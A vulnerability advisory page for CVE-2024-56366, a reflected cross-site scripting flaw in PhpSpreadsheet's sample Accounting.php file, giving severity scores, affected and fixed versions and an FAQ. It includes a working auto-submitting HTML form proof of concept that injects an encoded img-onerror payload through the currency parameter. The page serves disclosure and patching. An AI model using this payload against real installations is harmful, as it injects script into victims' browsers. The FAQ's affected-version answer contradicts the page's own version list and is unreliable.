CVE-2024-56366: PhpSpreadsheet vulnerable to unauthorized reflected XSS in the Accounting.php file

Published Jan 3, 2025
·
Updated

Unauthorized Reflected XSS in the Accounting.php file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Accounting.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.

!fig7

Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability

<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php" method="POST"> <input type="hidden" name="number" value="1234&#46;5678" /> <input type="hidden" name="currency" value="&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display&#32;Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>

After sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.

<img width="460" alt="fig8" src="https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1" />

Figure 8. Executing arbitrary JavaScript code

Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Other sources

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the Accounting.php file. Using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

MITRE

Affected Software

9 affected componentsFixes available
composer/phpoffice/phpexcel<=1.8.2
composer/phpoffice/phpspreadsheet>=2.2.0<=2.3.4
2.3.5
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.5
2.1.6
composer/phpoffice/phpspreadsheet<=1.29.6
1.29.7
composer/phpoffice/phpspreadsheet>=3.0.0<3.7.0
3.7.0
PHPOffice phpspreadsheet<1.29.7
PHPOffice phpspreadsheet>=2.0.0<2.1.6
PHPOffice phpspreadsheet>=2.2.0<2.3.5
PHPOffice phpspreadsheet>=3.3.0<3.7.0

Event History

Jan 3, 2025
CVE Published
via MITRE·05:01 PM
Data Sourced
via MITRE·05:01 PM
DescriptionWeakness
Advisory Published
via GitHub·05:06 PM
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-56366?

CVE-2024-56366 has a CVSS score of 8.2, indicating a high severity level.

2

How do I fix CVE-2024-56366?

To fix CVE-2024-56366, upgrade to Phpspreadsheet version 3.7.0 or later, or the appropriate fixed version as specified in the advisory.

3

What type of vulnerability is CVE-2024-56366?

CVE-2024-56366 is an unauthorized reflected cross-site scripting (XSS) vulnerability.

4

Which versions of Phpspreadsheet are affected by CVE-2024-56366?

Phpspreadsheet versions between 2.0.0 and 3.6.0 are affected by CVE-2024-56366.

5

What is the impact of CVE-2024-56366?

CVE-2024-56366 allows attackers to execute arbitrary JavaScript code in the context of the user's browser.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203